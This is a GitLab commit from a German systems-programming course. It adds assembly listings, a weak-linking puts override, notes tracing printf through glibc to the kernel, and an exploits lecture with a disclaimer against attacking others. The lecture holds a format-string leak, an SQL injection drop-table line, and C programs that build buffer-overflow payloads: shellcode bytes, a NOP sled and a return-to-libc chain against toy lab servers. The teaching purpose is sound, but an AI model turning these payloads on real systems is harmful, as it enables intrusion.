Skip to content
Snippets Groups Projects
Commit 25ed4965 authored by Peter Gerwinski's avatar Peter Gerwinski
Browse files

10./17.5.2019: Weak Linking, Exploits

parent d3ee3d10
No related branches found
No related tags found
No related merge requests found
Showing
with 403 additions and 0 deletions
.file "hello-0.c"
.section .rodata.str1.1,"aMS",@progbits,1
.LC0:
.string "Hello, world!"
.text
.globl main
.type main, @function
main:
.LFB11:
.cfi_startproc
subq $8, %rsp
.cfi_def_cfa_offset 16
leaq .LC0(%rip), %rdi
call puts@PLT
movl $0, %eax
addq $8, %rsp
.cfi_def_cfa_offset 8
ret
.cfi_endproc
.LFE11:
.size main, .-main
.ident "GCC: (Debian 6.3.0-18+deb9u1) 6.3.0 20170516"
.section .note.GNU-stack,"",@progbits
.file "hello-1.c"
.section .rodata.str1.1,"aMS",@progbits,1
.LC0:
.string "Hello, world!"
.text
.globl main
.type main, @function
main:
.LFB11:
.cfi_startproc
subq $8, %rsp
.cfi_def_cfa_offset 16
leaq .LC0(%rip), %rdi
call puts@PLT
movl $0, %eax
addq $8, %rsp
.cfi_def_cfa_offset 8
ret
.cfi_endproc
.LFE11:
.size main, .-main
.ident "GCC: (Debian 6.3.0-18+deb9u1) 6.3.0 20170516"
.section .note.GNU-stack,"",@progbits
.file "hello-2.c"
.section .rodata.str1.1,"aMS",@progbits,1
.LC0:
.string "Hello, world!\n"
.text
.globl main
.type main, @function
main:
.LFB0:
.cfi_startproc # #include <unistd.h>
subq $8, %rsp #
.cfi_def_cfa_offset 16 # int main (void)
movl $14, %edx # {
leaq .LC0(%rip), %rsi # write (1, "Hello, world!\n", 14);
movl $1, %edi # return 0;
call write@PLT # }
movl $0, %eax
addq $8, %rsp
.cfi_def_cfa_offset 8
ret
.cfi_endproc
.LFE0:
.size main, .-main
.ident "GCC: (Debian 6.3.0-18+deb9u1) 6.3.0 20170516"
.section .note.GNU-stack,"",@progbits
#include <stdio.h>
int puts (const char *s)
{
fputs ("Ätsch!", stdout);
return 42;
}
int main (void)
{
printf ("Hello, world!\n");
return 0;
}
.file "hello-1a.c"
.section .rodata.str1.1,"aMS",@progbits,1
.LC0:
.string "\303\204tsch!"
.text
.globl puts
.type puts, @function
puts:
.LFB11: # #include <stdio.h>
.cfi_startproc #
subq $8, %rsp # int puts (const char *s)
.cfi_def_cfa_offset 16 # {
movq stdout(%rip), %rcx # fputs ("Ätsch!", stdout);
movl $7, %edx # return 42;
movl $1, %esi # }
leaq .LC0(%rip), %rdi #
call fwrite@PLT # int main (void)
movl $42, %eax # {
addq $8, %rsp # printf ("Hello, world!\n");
.cfi_def_cfa_offset 8 # return 0;
ret # }
.cfi_endproc
.LFE11:
.size puts, .-puts
.section .rodata.str1.1
.LC1:
.string "Hello, world!"
.text
.globl main
.type main, @function
main:
.LFB12:
.cfi_startproc
subq $8, %rsp
.cfi_def_cfa_offset 16
leaq .LC1(%rip), %rdi
call puts@PLT
movl $0, %eax
addq $8, %rsp
.cfi_def_cfa_offset 8
ret
.cfi_endproc
.LFE12:
.size main, .-main
.ident "GCC: (Debian 6.3.0-18+deb9u1) 6.3.0 20170516"
.section .note.GNU-stack,"",@progbits
#include <stdio.h>
int puts (const char *s)
{
fputs ("Ätsch!\n", stdout);
return 42;
}
int main (void)
{
printf ("Hello, world!\n");
return 0;
}
printf ("Hello, world!\n") [hello-1.c]
Compiler --> puts ("Hello, world!") [libio/ioputs.c]
weak alias --> _IO_puts ("Hello, world!", 13) [libio/ioputs.c]
--> _IO_sputn ("Hello, world!", 13) [libio/libioP.h]
#define --> _IO_XSPUTN ("Hello, world!", 13) [libio/libioP.h]
#define --> JUMP2 (__xsputn, _IO_stdout, "Hello, world!", 13) [libio/libioP.h]
__xsputn (_IO_stdout, "Hello, world!", 13) [libio/libioP.h]
nur Deklaration: JUMP_FIELD(_IO_xsputn_t, __xsputn) [libio/libioP.h]
Zeigerfeld auf virtuelle Methode: _IO_default_xsputn (_IO_stdout, "Hello, world!", 13) [sysdeps/unix/sysv/linux/i386/libc.abilist]
_IO_default_xsputn (_IO_stdout, "Hello, world!", 13) [libio/genops.c]
Die Datei (f = _IO_stdout) enthält einen Pufferbereich zum Schreiben (f->_IO_write_ptr).
Dorthin wird der String kopiert und der Zeiger um die Länge versetzt.
Danach "weiß" f, was geschrieben werden soll.
Mit _IO_OVERFLOW (f, ...) veranlassen wir, daß tatsächlich geschrieben wird.
_IO_OVERFLOW --> JUMP1 (__overflow, FP, CH) [libioP.h]
Zeigerfeld auf virtuelle Methode: _IO_file_overflow [sysdeps/unix/sysv/linux/i386/libc.abilist]
libc_hidden_ver --> _IO_new_file_overflow [fileops.c]
--> _IO_do_write [fileops.c]
libc_hidden_ver --> _IO_new_do_write [fileops.c]
--> new_do_write (_IO_stdout, "Hello, world!", 13) [fileops.c]
--> _IO_SYSWRITE (_IO_stdout, "Hello, world!", 13) [fileops.c]
#define _IO_SYSWRITE(FP, DATA, LEN) JUMP2 (__write, FP, DATA, LEN) [libio/libioP.h]
Zeigerfeld auf virtuelle Methode: __write [io/write.c]
--> abstrakte Methode, liefert immer Fehlermeldung zurück
Abstrakte Methode wird durch systemabhängige Methode überschrieben:
Im Verzeichnis sysdeps/unix befindet sich ein Shell-Skript make-syscalls.sh.
Diese liest eine Datei syscalls.list
und erzeugt daraus automatisch Funktionen, die die System-Calls implementieren.
Diese Funktionen führen den Code aus sysdeps/unix/sysv/linux/x86_64/syscall.S aus:
.text
ENTRY (syscall)
movq %rdi, %rax /* Syscall number -> rax. */
movq %rsi, %rdi /* shift arg1 - arg5. */
movq %rdx, %rsi
movq %rcx, %rdx
movq %r8, %r10
movq %r9, %r8
movq 8(%rsp),%r9 /* arg6 is on the stack. */
syscall /* Do the system call. */
cmpq $-4095, %rax /* Check %rax for error. */
jae SYSCALL_ERROR_LABEL /* Jump to error handler if error. */
ret /* Return to caller. */
PSEUDO_END (syscall)
Der Assembler-Befehl syscall bildet die Schnittstelle zwischen dem Programm im User-Space
und dem Kernel. An dieser Stelle gewinnt das Programm die zusätzlichen Rechte, die nötig
sind, um z.B. direkt in den Bildschrimspeicher schreiben zu können.
Kernel, 25.05.2017, 17:53:23
~~~~~~~~~~~~~~~~~~~~~~~~~~~~
Suchbegriff: sys_call_table
/usr/src/linux-headers-4.9.0-2-amd64/arch/x86/include/generated/asm/syscalls_64.h
arch/x86/entry/syscall_64.c: Defnition sys_call_table
arch/x86/entry/entry_64.S: Verwendung sys_call_table
arch/x86/kernel/cpu/common.c: wrmsrl(MSR_LSTAR, (unsigned long)entry_SYSCALL_64);
https://sites.google.com/site/masumzh/articles/hypervisor-based-virtualization/compute-virtualization
"As shown below, the content of the IA32_LSTAR MSR (Model Specific Register)
is copied to the instruction pointer register (RIP) [...]"
--> Weiter geht's mit dem Eintrag in sys_call_table,
also mit der Implementation von sys_write().
Die Tabelle wird benutzt in der Funktion do_syscall_64():
regs->ax = sys_call_table[nr](
regs->di, regs->si, regs->dx,
regs->r10, regs->r8, regs->r9);
Wenn man lange genug sucht, findet man: fs/read_write.c
SYSCALL_DEFINE3(write, unsigned int, fd, const char __user *, buf, size_t, count)
ret = vfs_write(f.file, buf, count, &pos);
ssize_t vfs_write(struct file *file, const char __user *buf, size_t count, loff_t *pos)
ret = __vfs_write(file, buf, count, pos);
ssize_t __vfs_write(struct file *file, const char __user *p, size_t count, loff_t *pos)
if (file->f_op->write) return file->f_op->write(file, p, count, pos);
:-)
Jetzt fehlt nur noch: Wie bekommt f_op->write den Wert, den das Modul hinterlegt hat?
include/linux/fs.h: Definition "inode"
include/linux/cdev.h: Char-Device-spezifische Felder des inode
Major und Minor sind gemeinsam in einer 16-Bit-Integer hinterlegt.
program Hello;
begin
WriteLn ('Hello, world!')
end.
Exploits, 10.05.2019
~~~~~~~~~~~~~~~~~~~~
Vorab:
Dies ist keine Einladung, anderer Leute Systeme anzugreifen.
Derartige Handlungen sind Straftaten.
Ich erzähle Ihnen dies, damit Sie wissen,
wie Sie sich gegen derartige Angriffe verteidigen können.
Um es gleich vorwegzunehmen:
Gewöhnen Sie sich von vorneherein an,
sauber und ordentlich zu programmieren.
Anleitungen für Exploits:
http://www.computersecuritystudent.com/SECURITY_TOOLS/BUFFER_OVERFLOW/WINDOWS_APPS/lesson1/index.html
http://www.thesprawl.org/research/exploit-exercises-protostar-stack/
Literatur:
Jon Erickson: Hacking: The Art of Exploitation.
No Starch Press, 2003. ISBN: 1-59327-007-0
Anleitung für den GNU-Debugger (gdb):
http://beej.us/guide/bggdb/
Formatstring-Angriff:
printf (user_string) für Exploit nutzen: %016llx
Server, der Passwort auf dem Stack speichert --> server-0.c
$ ./server-0
Your name, please: %016llx %016llx %016llx %016llx %016llx %016llx %016llx %016llx
Hello, 00000000004007c7 00007fdb2ced2df0 00000000004007c7 00007fdb2d0f3007
20786c6c36313025 6373316870216948 00007fdb2cbd0068 0000007265746570!
~~~~~~~~~~~~~~~~ ~~~~
Your password, please:
SQL Injection: http://xkcd.com/327/
insert into students values ('Robert', 'Lenhard', '3b');
insert into students values ('Robert'); drop table students; --', 'Lenhard', '3b');
Noch blöder: Java-Browser-Applet enthält Passwörter im Klartext:
http://heise.de/-2812713
Buffer Overflow für Exploit nutzen: server-[123].c, exploit-*
Warum Absturz? Rücksprungadresse wird überschrieben. Blick auf den Stack.
Funktionsaufruf: Register setzen, Funktion anspringen.
Exploit: Rücksprungadresse gezielt überschreiben.
Früher möglich: Programm in den Stack schreiben, dorthin springen.
Heute: Nicht-ausführbarer Stack, Address Space Layout Randomization (ASLR)
Return Oriented Programming erforderlich
genauer: return-to-libc; noch genauer: return-to-plt
Gezielt Winz-Funktionen anspringen, um Register zu setzen,
danach Programm- und Bibliotheksfunktionen anspringen.
Exploits: aktuelle Sicherheitslücke, 28.12.2016, 13:46:05
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
Lücke in PHPMailer erlaubt die Ausführung fremden Codes
https://heise.de/-3582072
#include <unistd.h>
#include <stdint.h>
int main (int argc, char **argv)
{
uint64_t my_program_address = 0x7fffffffdfc0;
for (int i = 2; i < 0x2a; i++)
write (1, "\x90", 1); // nop
write (1, &my_program_address, 8);
for (int i = 2; i < 34; i++)
write (1, "A", 1);
write (1, "\x48\x83\xec\x60", 4); // sub $0x60,%rsp
write (1, "\x48\x89\xe7", 3); // mov %rsp,%rdi
write (1, "\xb8\x00\x00\x00\x00", 5); // mov $0x0,%eax
write (1, "\xe8\x26\xfe\xff\xff", 5); // callq 0x4003e0 <printf@plt>
write (1, "\xeb\xfe", 2); // while (1);
write (1, "\n", 1);
return 0;
}
File added
#include <unistd.h>
#include <stdint.h>
int main (int argc, char **argv)
{
uint64_t return_address = 0x7fffffffdfb0;
for (int i = 2; i < 42; i++)
write (1, "\x90", 1); // nop
write (1, &return_address, 8);
write (1, "\x48\x83\xec\x60", 4); // sub $0x60,%rsp
write (1, "\x48\x89\xe7", 3); // mov %rsp,%rdi
write (1, "\xb8\x00\x00\x00\x00", 5); // mov $0x0,%eax
write (1, "\xe8\x26\xfe\xff\xff", 5); // callq 0x4003e0 <printf@plt>
write (1, "\xeb\xfe", 2); // while (1);
write (1, "\n", 1);
return 0;
}
File added
#include <unistd.h>
int main (int argc, char **argv)
{
for (int i = 2; i < 0x2a; i++)
write (1, "\x90", 1); // nop
write (1, "Hallo", 5);
// write (1, "\x48\x83\xec\x60", 4); // sub $0x60,%rsp
// write (1, "\x48\x89\xe7", 3); // mov %rsp,%rdi
// write (1, "\xb8\x00\x00\x00\x00", 5); // mov $0x0,%eax
// write (1, "\xe8\x26\xfe\xff\xff", 5); // callq 0x4003e0 <printf@plt>
// write (1, "\xeb\xfe", 2); // while (1);
// write (1, "\n", 1);
return 0;
}
Hallo
\ No newline at end of file
#include <unistd.h>
#include <stdint.h>
int main (int argc, char **argv)
{
uint64_t main_address = 0x5555555546f0;
for (int i = 2; i < 0x2a; i++)
write (1, "\x90", 1); // nop
write (1, &main_address, 8);
return 0;
}
File added
#include <unistd.h>
#include <stdint.h>
int main (int argc, char **argv)
{
uint64_t main_address = 0x5555555546f0;
for (int i = 2; i < 0x2a + 20; i++)
write (1, "\x91", 1);
write (1, &main_address, 8);
return 0;
}
File added
#include <stdlib.h>
#include <stdint.h>
#include <unistd.h>
#define OVERFLOW 40
int main (int argc, char **argv)
{
uint64_t mov_rsp_rdi = 0x555555554791;
uint64_t add_offset_to_edi = 0x555555554798;
uint64_t dummy = 0;
uint64_t printf_address = 0x7ffff7a89190;
uint64_t exit_address = 0x7ffff7a6f980;
uint8_t overflow[OVERFLOW] = "loser";
uint8_t payload[] = "I 0WN U!!1! "
" ";
write (1, overflow, sizeof (overflow));
write (1, &mov_rsp_rdi, 8);
write (1, &add_offset_to_edi, 8);
write (1, &printf_address, 8);
write (1, &exit_address, 8);
write (1, &dummy, 8);
write (1, payload, sizeof (payload));
write (1, "\n", 1);
return 0;
}
0% Loading or .
You are about to add 0 people to the discussion. Proceed with caution.
Please register or to comment